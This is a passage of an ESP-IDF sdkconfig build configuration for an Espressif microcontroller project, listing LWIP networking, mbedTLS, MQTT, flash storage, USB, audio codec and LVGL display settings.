CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y
# CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set
# end of Format
# end of Log
#
# LWIP
#
CONFIG_LWIP_ENABLE=y
CONFIG_LWIP_LOCAL_HOSTNAME="espressif"
# CONFIG_LWIP_NETIF_API is not set
CONFIG_LWIP_TCPIP_TASK_PRIO=18
# CONFIG_LWIP_TCPIP_CORE_LOCKING is not set
# CONFIG_LWIP_CHECK_THREAD_SAFETY is not set
CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y
# CONFIG_LWIP_L2_TO_L3_COPY is not set
# CONFIG_LWIP_IRAM_OPTIMIZATION is not set
# CONFIG_LWIP_EXTRA_IRAM_OPTIMIZATION is not set
CONFIG_LWIP_TIMERS_ONDEMAND=y
CONFIG_LWIP_ND6=y
# CONFIG_LWIP_FORCE_ROUTER_FORWARDING is not set
CONFIG_LWIP_MAX_SOCKETS=10
# CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set
# CONFIG_LWIP_SO_LINGER is not set
CONFIG_LWIP_SO_REUSE=y
CONFIG_LWIP_SO_REUSE_RXTOALL=y
# CONFIG_LWIP_SO_RCVBUF is not set
# CONFIG_LWIP_NETBUF_RECVINFO is not set
CONFIG_LWIP_IP_DEFAULT_TTL=64
CONFIG_LWIP_IP4_FRAG=y
CONFIG_LWIP_IP6_FRAG=y
# CONFIG_LWIP_IP4_REASSEMBLY is not set
# CONFIG_LWIP_IP6_REASSEMBLY is not set
CONFIG_LWIP_IP_REASS_MAX_PBUFS=10
# CONFIG_LWIP_IP_FORWARD is not set
# CONFIG_LWIP_STATS is not set
CONFIG_LWIP_ESP_GRATUITOUS_ARP=y
CONFIG_LWIP_GARP_TMR_INTERVAL=60
CONFIG_LWIP_ESP_MLDV6_REPORT=y
CONFIG_LWIP_MLDV6_TMR_INTERVAL=40
CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32
CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y
# CONFIG_LWIP_DHCP_DOES_ACD_CHECK is not set
# CONFIG_LWIP_DHCP_DOES_NOT_CHECK_OFFERED_IP is not set
# CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set
CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y
# CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set
CONFIG_LWIP_DHCP_OPTIONS_LEN=68
CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0
CONFIG_LWIP_DHCP_COARSE_TIMER_SECS=1
#
# DHCP server
#
CONFIG_LWIP_DHCPS=y
CONFIG_LWIP_DHCPS_LEASE_UNIT=60
CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8
CONFIG_LWIP_DHCPS_STATIC_ENTRIES=y
CONFIG_LWIP_DHCPS_ADD_DNS=y
# end of DHCP server
# CONFIG_LWIP_AUTOIP is not set
CONFIG_LWIP_IPV4=y
CONFIG_LWIP_IPV6=y
# CONFIG_LWIP_IPV6_AUTOCONFIG is not set
CONFIG_LWIP_IPV6_NUM_ADDRESSES=3
# CONFIG_LWIP_IPV6_FORWARD is not set
# CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set
CONFIG_LWIP_NETIF_LOOPBACK=y
CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8
#
# TCP
#
CONFIG_LWIP_MAX_ACTIVE_TCP=16
CONFIG_LWIP_MAX_LISTENING_TCP=16
CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y
CONFIG_LWIP_TCP_MAXRTX=12
CONFIG_LWIP_TCP_SYNMAXRTX=12
CONFIG_LWIP_TCP_MSS=1440
CONFIG_LWIP_TCP_TMR_INTERVAL=250
CONFIG_LWIP_TCP_MSL=60000
CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000
CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5760
CONFIG_LWIP_TCP_WND_DEFAULT=5760
CONFIG_LWIP_TCP_RECVMBOX_SIZE=6
CONFIG_LWIP_TCP_ACCEPTMBOX_SIZE=6
CONFIG_LWIP_TCP_QUEUE_OOSEQ=y
CONFIG_LWIP_TCP_OOSEQ_TIMEOUT=6
CONFIG_LWIP_TCP_OOSEQ_MAX_PBUFS=4
# CONFIG_LWIP_TCP_SACK_OUT is not set
CONFIG_LWIP_TCP_OVERSIZE_MSS=y
# CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set
# CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set
CONFIG_LWIP_TCP_RTO_TIME=1500
# end of TCP
#
# UDP
#
CONFIG_LWIP_MAX_UDP_PCBS=16
CONFIG_LWIP_UDP_RECVMBOX_SIZE=6
# end of UDP
#
# Checksums
#
# CONFIG_LWIP_CHECKSUM_CHECK_IP is not set
# CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set
CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y
# end of Checksums
CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072
CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y
# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set
# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set
CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF
CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3
CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5
CONFIG_LWIP_IPV6_ND6_NUM_PREFIXES=5
CONFIG_LWIP_IPV6_ND6_NUM_ROUTERS=3
CONFIG_LWIP_IPV6_ND6_NUM_DESTINATIONS=10
# CONFIG_LWIP_PPP_SUPPORT is not set
# CONFIG_LWIP_SLIP_SUPPORT is not set
#
# ICMP
#
CONFIG_LWIP_ICMP=y
# CONFIG_LWIP_MULTICAST_PING is not set
# CONFIG_LWIP_BROADCAST_PING is not set
# end of ICMP
#
# LWIP RAW API
#
CONFIG_LWIP_MAX_RAW_PCBS=16
# end of LWIP RAW API
#
# SNTP
#
CONFIG_LWIP_SNTP_MAX_SERVERS=1
# CONFIG_LWIP_DHCP_GET_NTP_SRV is not set
CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000
CONFIG_LWIP_SNTP_STARTUP_DELAY=y
CONFIG_LWIP_SNTP_MAXIMUM_STARTUP_DELAY=5000
# end of SNTP
#
# DNS
#
CONFIG_LWIP_DNS_MAX_HOST_IP=1
CONFIG_LWIP_DNS_MAX_SERVERS=3
# CONFIG_LWIP_FALLBACK_DNS_SERVER_SUPPORT is not set
# CONFIG_LWIP_DNS_SETSERVER_WITH_NETIF is not set
# end of DNS
CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7
CONFIG_LWIP_ESP_LWIP_ASSERT=y
#
# Hooks
#
# CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set
CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y
# CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set
CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y
# CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set
# CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set
CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y
# CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set
# CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set
CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_NONE=y
# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_DEFAULT is not set
# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_CUSTOM is not set
CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y
# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set
# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set
CONFIG_LWIP_HOOK_DNS_EXT_RESOLVE_NONE=y
# CONFIG_LWIP_HOOK_DNS_EXT_RESOLVE_CUSTOM is not set
# CONFIG_LWIP_HOOK_IP6_INPUT_NONE is not set
CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT=y
# CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set
# end of Hooks
# CONFIG_LWIP_DEBUG is not set
# end of LWIP
#
# mbedTLS
#
CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y
# CONFIG_MBEDTLS_EXTERNAL_MEM_ALLOC is not set
# CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set
# CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set
CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y
CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384
CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096
# CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set
# CONFIG_MBEDTLS_DEBUG is not set
#
# mbedTLS v3.x related
#
# CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set
# CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set
# CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set
# CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set
CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y
CONFIG_MBEDTLS_PKCS7_C=y
# end of mbedTLS v3.x related
#
# Certificate Bundle
#
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set
# CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEPRECATED_LIST is not set
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200
# end of Certificate Bundle
# CONFIG_MBEDTLS_ECP_RESTARTABLE is not set
# CONFIG_MBEDTLS_CMAC_C is not set
CONFIG_MBEDTLS_HARDWARE_AES=y
CONFIG_MBEDTLS_AES_USE_INTERRUPT=y
CONFIG_MBEDTLS_AES_INTERRUPT_LEVEL=0
CONFIG_MBEDTLS_HARDWARE_GCM=y
CONFIG_MBEDTLS_GCM_SUPPORT_NON_AES_CIPHER=y
CONFIG_MBEDTLS_HARDWARE_MPI=y
# CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set
CONFIG_MBEDTLS_MPI_USE_INTERRUPT=y
CONFIG_MBEDTLS_MPI_INTERRUPT_LEVEL=0
CONFIG_MBEDTLS_HARDWARE_SHA=y
CONFIG_MBEDTLS_HARDWARE_ECC=y
CONFIG_MBEDTLS_ECC_OTHER_CURVES_SOFT_FALLBACK=y
CONFIG_MBEDTLS_ROM_MD5=y
# CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set
# CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set
CONFIG_MBEDTLS_HAVE_TIME=y
# CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set
# CONFIG_MBEDTLS_HAVE_TIME_DATE is not set
CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y
CONFIG_MBEDTLS_SHA512_C=y
# CONFIG_MBEDTLS_SHA3_C is not set
CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y
# CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set
# CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set
# CONFIG_MBEDTLS_TLS_DISABLED is not set
CONFIG_MBEDTLS_TLS_SERVER=y
CONFIG_MBEDTLS_TLS_CLIENT=y
CONFIG_MBEDTLS_TLS_ENABLED=y
#
# TLS Key Exchange Methods
#
# CONFIG_MBEDTLS_PSK_MODES is not set
CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y
# end of TLS Key Exchange Methods
CONFIG_MBEDTLS_SSL_RENEGOTIATION=y
CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y
# CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set
# CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set
CONFIG_MBEDTLS_SSL_ALPN=y
CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y
CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y
#
# Symmetric Ciphers
#
CONFIG_MBEDTLS_AES_C=y
# CONFIG_MBEDTLS_CAMELLIA_C is not set
# CONFIG_MBEDTLS_DES_C is not set
# CONFIG_MBEDTLS_BLOWFISH_C is not set
# CONFIG_MBEDTLS_XTEA_C is not set
CONFIG_MBEDTLS_CCM_C=y
CONFIG_MBEDTLS_GCM_C=y
# CONFIG_MBEDTLS_NIST_KW_C is not set
# end of Symmetric Ciphers
# CONFIG_MBEDTLS_RIPEMD160_C is not set
#
# Certificates
#
CONFIG_MBEDTLS_PEM_PARSE_C=y
CONFIG_MBEDTLS_PEM_WRITE_C=y
CONFIG_MBEDTLS_X509_CRL_PARSE_C=y
CONFIG_MBEDTLS_X509_CSR_PARSE_C=y
# end of Certificates
CONFIG_MBEDTLS_ECP_C=y
CONFIG_MBEDTLS_PK_PARSE_EC_EXTENDED=y
CONFIG_MBEDTLS_PK_PARSE_EC_COMPRESSED=y
# CONFIG_MBEDTLS_DHM_C is not set
CONFIG_MBEDTLS_ECDH_C=y
CONFIG_MBEDTLS_ECDSA_C=y
# CONFIG_MBEDTLS_ECJPAKE_C is not set
CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y
CONFIG_MBEDTLS_ECP_NIST_OPTIM=y
# CONFIG_MBEDTLS_ECP_FIXED_POINT_OPTIM is not set
# CONFIG_MBEDTLS_POLY1305_C is not set
# CONFIG_MBEDTLS_CHACHA20_C is not set
# CONFIG_MBEDTLS_HKDF_C is not set
# CONFIG_MBEDTLS_THREADING_C is not set
CONFIG_MBEDTLS_ERROR_STRINGS=y
CONFIG_MBEDTLS_FS_IO=y
# end of mbedTLS
#
# ESP-MQTT Configurations
#
CONFIG_MQTT_PROTOCOL_311=y
# CONFIG_MQTT_PROTOCOL_5 is not set
CONFIG_MQTT_TRANSPORT_SSL=y
CONFIG_MQTT_TRANSPORT_WEBSOCKET=y
CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y
# CONFIG_MQTT_MSG_ID_INCREMENTAL is not set
# CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set
# CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set
# CONFIG_MQTT_USE_CUSTOM_CONFIG is not set
# CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set
# CONFIG_MQTT_CUSTOM_OUTBOX is not set
# end of ESP-MQTT Configurations
#
# Newlib
#
CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y
# CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set
# CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set
# CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set
# CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set
CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y
# CONFIG_NEWLIB_NANO_FORMAT is not set
CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y
# CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set
# CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set
# CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set
# end of Newlib
#
# NVS
#
# CONFIG_NVS_ENCRYPTION is not set
# CONFIG_NVS_ASSERT_ERROR_CHECK is not set
# CONFIG_NVS_LEGACY_DUP_KEYS_COMPATIBILITY is not set
# CONFIG_NVS_ALLOCATE_CACHE_IN_SPIRAM is not set
# end of NVS
#
# OpenThread
#
# CONFIG_OPENTHREAD_ENABLED is not set
#
# OpenThread Spinel
#
# CONFIG_OPENTHREAD_SPINEL_ONLY is not set
# end of OpenThread Spinel
# end of OpenThread
#
# Protocomm
#
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y
# end of Protocomm
#
# PThreads
#
CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5
CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072
CONFIG_PTHREAD_STACK_MIN=768
CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y
# CONFIG_PTHREAD_DEFAULT_CORE_0 is not set
# CONFIG_PTHREAD_DEFAULT_CORE_1 is not set
CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1
CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread"
# end of PThreads
#
# MMU Config
#
CONFIG_MMU_PAGE_SIZE_64KB=y
CONFIG_MMU_PAGE_MODE="64KB"
CONFIG_MMU_PAGE_SIZE=0x10000
# end of MMU Config
#
# Main Flash configuration
#
#
# SPI Flash behavior when brownout
#
CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y
CONFIG_SPI_FLASH_BROWNOUT_RESET=y
# end of SPI Flash behavior when brownout
#
# Optional and Experimental Features (READ DOCS FIRST)
#
#
# Features here require specific hardware (READ DOCS FIRST!)
#
# CONFIG_SPI_FLASH_AUTO_SUSPEND is not set
CONFIG_SPI_FLASH_SUSPEND_TSUS_VAL_US=50
# CONFIG_SPI_FLASH_FORCE_ENABLE_XMC_C_SUSPEND is not set
# end of Optional and Experimental Features (READ DOCS FIRST)
# end of Main Flash configuration
#
# SPI Flash driver
#
# CONFIG_SPI_FLASH_VERIFY_WRITE is not set
# CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set
CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y
CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y
# CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set
# CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set
# CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set
CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y
CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20
CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1
CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192
# CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set
# CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set
# CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set
#
# Auto-detect flash chips
#
CONFIG_SPI_FLASH_VENDOR_XMC_SUPPORTED=y
# CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_GD_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set
# end of Auto-detect flash chips
CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y
# end of SPI Flash driver
#
# SPIFFS Configuration
#
CONFIG_SPIFFS_MAX_PARTITIONS=3
#
# SPIFFS Cache Configuration
#
CONFIG_SPIFFS_CACHE=y
CONFIG_SPIFFS_CACHE_WR=y
# CONFIG_SPIFFS_CACHE_STATS is not set
# end of SPIFFS Cache Configuration
CONFIG_SPIFFS_PAGE_CHECK=y
CONFIG_SPIFFS_GC_MAX_RUNS=10
# CONFIG_SPIFFS_GC_STATS is not set
CONFIG_SPIFFS_PAGE_SIZE=256
CONFIG_SPIFFS_OBJ_NAME_LEN=32
# CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set
CONFIG_SPIFFS_USE_MAGIC=y
CONFIG_SPIFFS_USE_MAGIC_LENGTH=y
CONFIG_SPIFFS_META_LENGTH=4
CONFIG_SPIFFS_USE_MTIME=y
#
# Debug Configuration
#
# CONFIG_SPIFFS_DBG is not set
# CONFIG_SPIFFS_API_DBG is not set
# CONFIG_SPIFFS_GC_DBG is not set
# CONFIG_SPIFFS_CACHE_DBG is not set
# CONFIG_SPIFFS_CHECK_DBG is not set
# CONFIG_SPIFFS_TEST_VISUALISATION is not set
# end of Debug Configuration
# end of SPIFFS Configuration
#
# TCP Transport
#
#
# Websocket
#
CONFIG_WS_TRANSPORT=y
CONFIG_WS_BUFFER_SIZE=1024
# CONFIG_WS_DYNAMIC_BUFFER is not set
# end of Websocket
# end of TCP Transport
#
# Ultra Low Power (ULP) Co-processor
#
# CONFIG_ULP_COPROC_ENABLED is not set
#
# ULP Debugging Options
#
# end of ULP Debugging Options
# end of Ultra Low Power (ULP) Co-processor
#
# Unity unit testing library
#
CONFIG_UNITY_ENABLE_FLOAT=y
CONFIG_UNITY_ENABLE_DOUBLE=y
# CONFIG_UNITY_ENABLE_64BIT is not set
# CONFIG_UNITY_ENABLE_COLOR is not set
CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y
# CONFIG_UNITY_ENABLE_FIXTURE is not set
# CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set
# end of Unity unit testing library
#
# USB-OTG
#
CONFIG_USB_HOST_CONTROL_TRANSFER_MAX_SIZE=256
CONFIG_USB_HOST_HW_BUFFER_BIAS_BALANCED=y
# CONFIG_USB_HOST_HW_BUFFER_BIAS_IN is not set
# CONFIG_USB_HOST_HW_BUFFER_BIAS_PERIODIC_OUT is not set
#
# Hub Driver Configuration
#
#
# Root Port configuration
#
CONFIG_USB_HOST_DEBOUNCE_DELAY_MS=250
CONFIG_USB_HOST_RESET_HOLD_MS=30
CONFIG_USB_HOST_RESET_RECOVERY_MS=30
CONFIG_USB_HOST_SET_ADDR_RECOVERY_MS=10
# end of Root Port configuration
# CONFIG_USB_HOST_HUBS_SUPPORTED is not set
# end of Hub Driver Configuration
# CONFIG_USB_HOST_ENABLE_ENUM_FILTER_CALLBACK is not set
CONFIG_USB_OTG_SUPPORTED=y
# end of USB-OTG
#
# Virtual file system
#
CONFIG_VFS_SUPPORT_IO=y
CONFIG_VFS_SUPPORT_DIR=y
CONFIG_VFS_SUPPORT_SELECT=y
CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y
# CONFIG_VFS_SELECT_IN_RAM is not set
CONFIG_VFS_SUPPORT_TERMIOS=y
CONFIG_VFS_MAX_COUNT=8
#
# Host File System I/O (Semihosting)
#
CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1
# end of Host File System I/O (Semihosting)
CONFIG_VFS_INITIALIZE_DEV_NULL=y
# end of Virtual file system
#
# Wear Levelling
#
# CONFIG_WL_SECTOR_SIZE_512 is not set
CONFIG_WL_SECTOR_SIZE_4096=y
CONFIG_WL_SECTOR_SIZE=4096
# end of Wear Levelling
#
# Wi-Fi Provisioning Manager
#
CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16
CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30
CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y
# CONFIG_WIFI_PROV_STA_FAST_SCAN is not set
# end of Wi-Fi Provisioning Manager
#
# CMake Utilities
#
# CONFIG_CU_RELINKER_ENABLE is not set
# CONFIG_CU_DIAGNOSTICS_COLOR_NEVER is not set
CONFIG_CU_DIAGNOSTICS_COLOR_ALWAYS=y
# CONFIG_CU_DIAGNOSTICS_COLOR_AUTO is not set
# CONFIG_CU_GCC_LTO_ENABLE is not set
# CONFIG_CU_GCC_STRING_1BYTE_ALIGN is not set
# end of CMake Utilities
#
# Audio Codec Device Configuration
#
CONFIG_CODEC_ES8311_SUPPORT=y
CONFIG_CODEC_ES7210_SUPPORT=y
CONFIG_CODEC_ES7243_SUPPORT=y
CONFIG_CODEC_ES7243E_SUPPORT=y
CONFIG_CODEC_ES8156_SUPPORT=y
CONFIG_CODEC_AW88298_SUPPORT=y
CONFIG_CODEC_ES8374_SUPPORT=y
CONFIG_CODEC_ES8388_SUPPORT=y
CONFIG_CODEC_TAS5805M_SUPPORT=y
# CONFIG_CODEC_ZL38063_SUPPORT is not set
# end of Audio Codec Device Configuration
#
# ESP LCD TOUCH
#
CONFIG_ESP_LCD_TOUCH_MAX_POINTS=5
CONFIG_ESP_LCD_TOUCH_MAX_BUTTONS=1
# end of ESP LCD TOUCH
#
# Bus Options
#
#
# I2C Bus Options
#
CONFIG_I2C_BUS_DYNAMIC_CONFIG=y
CONFIG_I2C_MS_TO_WAIT=200
# CONFIG_I2C_BUS_BACKWARD_CONFIG is not set
# CONFIG_I2C_BUS_SUPPORT_SOFTWARE is not set
# end of I2C Bus Options
# end of Bus Options
#
# LVGL configuration
#
CONFIG_LV_CONF_SKIP=y
# CONFIG_LV_CONF_MINIMAL is not set
#
# Color Settings
#
# CONFIG_LV_COLOR_DEPTH_32 is not set
# CONFIG_LV_COLOR_DEPTH_24 is not set
CONFIG_LV_COLOR_DEPTH_16=y
# CONFIG_LV_COLOR_DEPTH_8 is not set
# CONFIG_LV_COLOR_DEPTH_1 is not set
CONFIG_LV_COLOR_DEPTH=16
# end of Color Settings
#
# Memory Settings
#
# CONFIG_LV_USE_BUILTIN_MALLOC is not set
CONFIG_LV_USE_CLIB_MALLOC=y
# CONFIG_LV_USE_MICROPYTHON_MALLOC is not set
# CONFIG_LV_USE_RTTHREAD_MALLOC is not set
# CONFIG_LV_USE_CUSTOM_MALLOC is not set
# CONFIG_LV_USE_BUILTIN_STRING is not set
CONFIG_LV_USE_CLIB_STRING=y
# CONFIG_LV_USE_CUSTOM_STRING is not set
# CONFIG_LV_USE_BUILTIN_SPRINTF is not set
CONFIG_LV_USE_CLIB_SPRINTF=y
# CONFIG_LV_USE_CUSTOM_SPRINTF is not set
# end of Memory Settings
#
# HAL Settings
#
CONFIG_LV_DEF_REFR_PERIOD=15
CONFIG_LV_DPI_DEF=130
# end of HAL Settings
#
# Operating System (OS)
#
# CONFIG_LV_OS_NONE is not set
# CONFIG_LV_OS_PTHREAD is not set
CONFIG_LV_OS_FREERTOS=y
# CONFIG_LV_OS_CMSIS_RTOS2 is not set
# CONFIG_LV_OS_RTTHREAD is not set
# CONFIG_LV_OS_WINDOWS is not set
# CONFIG_LV_OS_MQX is not set
# CONFIG_LV_OS_CUSTOM is not set
CONFIG_LV_USE_OS=2
CONFIG_LV_USE_FREERTOS_TASK_NOTIFY=y
# end of Operating System (OS)
#
# Rendering Configuration
#
CONFIG_LV_DRAW_BUF_STRIDE_ALIGN=1
CONFIG_LV_DRAW_BUF_ALIGN=4
CONFIG_LV_DRAW_LAYER_SIMPLE_BUF_SIZE=24576
CONFIG_LV_DRAW_THREAD_STACK_SIZE=8192
CONFIG_LV_USE_DRAW_SW=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB565=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB565A8=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB888=y
CONFIG_LV_DRAW_SW_SUPPORT_XRGB8888=y
CONFIG_LV_DRAW_SW_SUPPORT_ARGB8888=y
CONFIG_LV_DRAW_SW_SUPPORT_L8=y
CONFIG_LV_DRAW_SW_SUPPORT_AL88=y
CONFIG_LV_DRAW_SW_SUPPORT_A8=y
CONFIG_LV_DRAW_SW_SUPPORT_I1=y
CONFIG_LV_DRAW_SW_DRAW_UNIT_CNT=2
# CONFIG_LV_USE_DRAW_ARM2D_SYNC is not set
# CONFIG_LV_USE_NATIVE_HELIUM_ASM is not set
CONFIG_LV_DRAW_SW_COMPLEX=y
# CONFIG_LV_USE_DRAW_SW_COMPLEX_GRADIENTS is not set
CONFIG_LV_DRAW_SW_SHADOW_CACHE_SIZE=0
CONFIG_LV_DRAW_SW_CIRCLE_CACHE_SIZE=4
CONFIG_LV_DRAW_SW_ASM_NONE=y
# CONFIG_LV_DRAW_SW_ASM_NEON is not set
# CONFIG_LV_DRAW_SW_ASM_HELIUM is not set
# CONFIG_LV_DRAW_SW_ASM_CUSTOM is not set
CONFIG_LV_USE_DRAW_SW_ASM=0
# CONFIG_LV_USE_DRAW_VGLITE is not set
# CONFIG_LV_USE_PXP is not set
